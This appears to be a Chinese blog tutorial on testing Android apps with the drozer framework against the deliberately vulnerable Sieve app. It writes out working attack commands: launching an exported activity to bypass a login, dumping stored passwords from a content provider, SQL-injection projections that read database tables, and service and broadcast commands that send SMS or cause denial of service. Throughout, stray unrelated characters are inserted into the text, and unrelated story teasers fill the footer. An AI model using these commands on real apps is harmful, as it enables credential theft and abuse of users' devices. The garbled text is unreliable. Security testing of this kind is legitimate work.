安全測試|移動端安全測試drozer

手機應(yīng)用的快速增長花竞,手機應(yīng)用安全成為一個熱門的話題竟坛,android的安全問題有一大部分的原因是因為android的組件暴露奴艾、權(quán)限使用不當(dāng)導(dǎo)致的脸哀。

“?

隨著互聯(lián)網(wǎng)應(yīng)用的普及和人們對互聯(lián)網(wǎng)的依賴每篷,互聯(lián)網(wǎng)的安全問題也日益凸顯镐牺。接下來的小編將帶您進入安全測試。

一魁莉、android四大組件

什么是安卓應(yīng)用組件睬涧?安卓主要由四大組件組成募胃,Activity、Service畦浓、Content Providers、Broadcast Receivers.

Activity:是一個應(yīng)用程序的組件讶请,一個activity對應(yīng)一個界面,是與用戶進行交互的夺溢。

Activity形態(tài):

Active/Running:?

Activity處于活動狀態(tài),此時Activity處于棧頂风响,是可見狀態(tài),可與用戶進行交互状勤。

Paused:?

當(dāng)Activity失去焦點時,或被一個新的非全屏的Activity持搜,或被一個透明的Activity放置在棧頂時,Activity就轉(zhuǎn)化為Paused狀態(tài)朵诫。但我們需要明白,此時Activity只是失去了與用戶交互的能力剪返,其所有的狀態(tài)信息及其成員變量都還存在,只有在系統(tǒng)內(nèi)存緊張的情況下脱盲,才有可能被系統(tǒng)回收掉。

Stopped:

當(dāng)一個Activity被另一個Activity完全覆蓋時钱反,被覆蓋的Activity就會進入Stopped狀態(tài),此時它不再可見面哥,但是跟Paused狀態(tài)一樣保持著其所有狀態(tài)信息及其成員變量。

Killed:

當(dāng)Activity被系統(tǒng)回收掉時尚卫,Activity就處于Killed狀態(tài)。

Activity會在以上四種形態(tài)中相互切換吱涉,至于如何切換外里,這因用戶的操作不同而異特石。了解了Activity的4種形態(tài)后盅蝗,我們就來聊聊Activity的生命周期姆蘸。

ServiceService通常位于后臺運行墩莫,它一般不需要與用戶交互,因此Service組件沒有圖形用戶界面乞旦。Service組件需要繼承Service基類贼穆。Service組件通常用于為其他組件提供后臺服務(wù)或監(jiān)控其他組件的運行狀態(tài)。

Content Providers:Content Provider用于保存和獲取數(shù)據(jù)兰粉,并使其對所有應(yīng)用程序可見。這是不同應(yīng)用程序間共享數(shù)據(jù)的唯一方式顶瞳,因為android沒有提供所有應(yīng)用共同訪問的公共存儲區(qū)。只有需要在多個應(yīng)用程序間共享數(shù)據(jù)是才需要內(nèi)容提供者慨菱。

Broadcast Receivers:廣播接收器沒有用戶界面。然而符喝,它們可以啟動一個activity或service來響應(yīng)它們收到的信息,或者用NotificationManager來通知用戶畏腕。通知可以用很多種方式來吸引用戶的注意力,例如閃動背燈描馅、震動而线、播放聲音等铭污。一般來說是在狀態(tài)欄上放一個持久的圖標膀篮,用戶可以打開它并獲取消息。

二誓竿、環(huán)境搭建

android sdk;

adb 安裝烤黍;

jdk安裝傻盟,這里需要是喲啊能1.7以下的jdk嫂丙,使用1.8的會報錯,drozer暫不支持1.8的jdk

drozer安裝:

Drozer是一個常用的測試框架跟啤,它可以分為2個部分,一個是console-它運行在本地的計算機上隅肥,一個是server-它運行在android設(shè)備上。當(dāng)你使用console與android設(shè)備交互時腥放,基本上就是java代碼輸入到運行在實際設(shè)備上的drozer代理(agent)中。

drozer下載:https://labs.mwrinfosecurity.com/tools/drozer/ 下載drozer(msi)秃症、agent.apk

Drozer安裝:windows下點擊msi直接安裝

agent安裝:在測試機上安裝agent.apk

sieve安裝:下載sieve.apk,該apk是用來作為被測試的app

三岗仑、drozer驗證

1.打開cmd聚请,運行adb forward tcp:31415 tcp:31415荠雕,如圖所示?

2.在Android設(shè)備上開啟Drozer Agent驶赏,如圖所示:?

此時可以看到enable是綠色的了。

3.在pc端cmd切換到drozer安裝目前矾兜,然后運行 drozer console connect患久,如圖所示:

四、測試

1.獲取要測試應(yīng)用的包名

dz>run app.package.list -f sieve ,-f它是模糊匹配蒋失,匹配包名中的任一字段,會列出包含該字段的所有包名?

2.獲取應(yīng)用的基本信息

dz>run app.package.info -a com.mwr.example.sieve?,查看該apk詳細信息篙挽,可以看到應(yīng)用的版本信息,數(shù)據(jù)存儲的目錄,用戶ID,組ID,是否有共享庫偏竟,還有權(quán)限信息等?

3.確定存在可能被攻擊的界面

dz>run app.package.attacksurface com.mwr.example.sieve ?


顯示了潛在可以被利用的組件個數(shù): “exported”表示組件可以被其他App使用敞峭, services is debuggable表示我們可以用adb綁定一個調(diào)試器到進程。暴露出來的3個activity旋讹,2個content provider,2個可以被adb綁定的service沉迹。

4.activity測試

(1)獲取activity信息

dz>run app.activity.info -a com.mwr.example.sieve

可以看到有三個界面是可以被利用的。?

(2)啟動activity

dz>run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

通過app.activity.start命令可以不需要密碼直接進入passwordList界面

5.Content Provider測試

(1)獲取Content Provider信息

run app.provider.info -a com.mwr.example.sieve?

(2)Content Providers(數(shù)據(jù)泄露)

先獲取所有可以訪問的Uri:

run scanner.provider.finduris -a com.mwr.example.sieve?

獲取各個Uri的數(shù)據(jù):

dz>run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查詢到數(shù)據(jù)說明存在漏洞

可以看到此時有一條數(shù)據(jù)蛤育,該條數(shù)據(jù)是之前在app添加的數(shù)據(jù)琅拌。這里暴露了service、username进宝、password枷恕、email的信息。

(3)Content Providers(SQL注入)

content provider的具體信息徐块,包括名字,權(quán)限胡控,訪問路徑等

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

報錯則說明存在SQL注入,我們可以繼續(xù)查詢看看有哪些數(shù)據(jù)昼激。?

列出所有表:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table';--"

獲取某個表(如Key)中的數(shù)據(jù):

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"?

(4)同時檢測SQL注入和目錄遍歷

dz>run scanner.provider.injection -a com.mwr.example.sieve

5.service測試

(1)獲取service詳情

dz>run app.service.info -a com.mwr.example.sieve

(2)權(quán)限提升

dz>run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

6.broadcast receive測試

(1)查看暴露的廣播組件信息:

dz>run app.broadcast.info -a com.package.name

獲取broadcast receivers信息

dz>run app.broadcast.send --component 包名 --action android.intent.action.XXX

(2)嘗試拒絕服務(wù)攻擊檢測橙困,向廣播組件發(fā)送不完整intent(空action或空extras):

dz>run app.broadcast.send 通過intent發(fā)送broadcast receiver

Drozer之所以稱之為框架(framework),因為它允許你編寫自己的模塊或者插件瞧掺,擴展你的功能讓它試用你的功能凡傅。它的另外一個作用是,它本質(zhì)上市一個不需要任何權(quán)限的android app—這實際上是它的組件。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末明未,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子趟妥,更是在濱河造成了極大的恐慌,老刑警劉巖煮纵,帶你破解...
    沈念sama閱讀 222,183評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件偏螺,死亡現(xiàn)場離奇詭異行疏,居然都是意外死亡套像,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,850評論 3 399
  • 文/潘曉璐 我一進店門夺巩,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人柳譬,你說我怎么就攤上這事∶腊模” “怎么了?”我有些...
    開封第一講書人閱讀 168,766評論 0 361
  • 文/不壞的土叔 我叫張陵舅桩,是天一觀的道長。 經(jīng)常有香客問我雨膨,道長,這世上最難降的妖魔是什么聊记? 我笑而不...
    開封第一講書人閱讀 59,854評論 1 299
  • 正文 為了忘掉前任,我火速辦了婚禮踩身,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘挟阻。我一直安慰自己,他們只是感情好附鸽,可當(dāng)我...
    茶點故事閱讀 68,871評論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著坷备,像睡著了一般。 火紅的嫁衣襯著肌膚如雪省撑。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,457評論 1 311
  • 那天竟秫,我揣著相機與錄音,去河邊找鬼肥败。 笑死,一個胖子當(dāng)著我的面吹牛馒稍,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播纽谒,決...
    沈念sama閱讀 40,999評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼鼓黔!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起请祖,我...
    開封第一講書人閱讀 39,914評論 0 277
  • 序言:老撾萬榮一對情侶失蹤脖祈,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后盖高,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,465評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡喻奥,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,543評論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了润梯。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,675評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡纺铭,死狀恐怖寇钉,靈堂內(nèi)的尸體忽然破棺而出舶赔,到底是詐尸還是另有隱情,我是刑警寧澤竟纳,帶...
    沈念sama閱讀 36,354評論 5 351
  • 正文 年R本政府宣布,位于F島的核電站锥累,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏揩悄。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 42,029評論 3 335
  • 文/蒙蒙 一删性、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧蹬挺,春花似錦、人聲如沸巴帮。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至用押,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間蜻拨,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評論 1 274
  • 我被黑心中介騙來泰國打工缎讼, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人血崭。 一個月前我還...
    沈念sama閱讀 49,091評論 3 378
  • 正文 我出身青樓厘灼,卻偏偏與公主長得像序苏,于是被迫代替她去往敵國和親手幢。 傳聞我的和親對象是個殘疾皇子忱详,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,685評論 2 360

推薦閱讀更多精彩內(nèi)容

  • 用兩張圖告訴你,為什么你的 App 會卡頓? - Android - 掘金 Cover 有什么料匈睁? 從這篇文章中你...
    hw1212閱讀 12,745評論 2 59
  • 2.1 Activity 2.1.1 Activity的生命周期全面分析 典型情況下的生命周期:在用戶參與的情況下...
    AndroidMaster閱讀 3,051評論 0 8
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn)胀蛮,斷路器,智...
    卡卡羅2017閱讀 134,707評論 18 139
  • 在春風(fēng)得意之際跌下臺的人數(shù)不勝數(shù)粪狼,他們摔得很慘。腦漿涂地任岸、血肉模糊。他們用鮮血和腦漿寫下的忠告就是——春風(fēng)得意的時...
    遇見活在當(dāng)下的自己閱讀 156評論 0 0
  • 我們不需要強迫自己改變困鸥,只需要從不同的角度發(fā)現(xiàn)自己的亮點就好。盡力做好自己能做的事剑按,事情就會在你想不到的時候發(fā)生改...
    生如夏花2018閱讀 1,191評論 12 11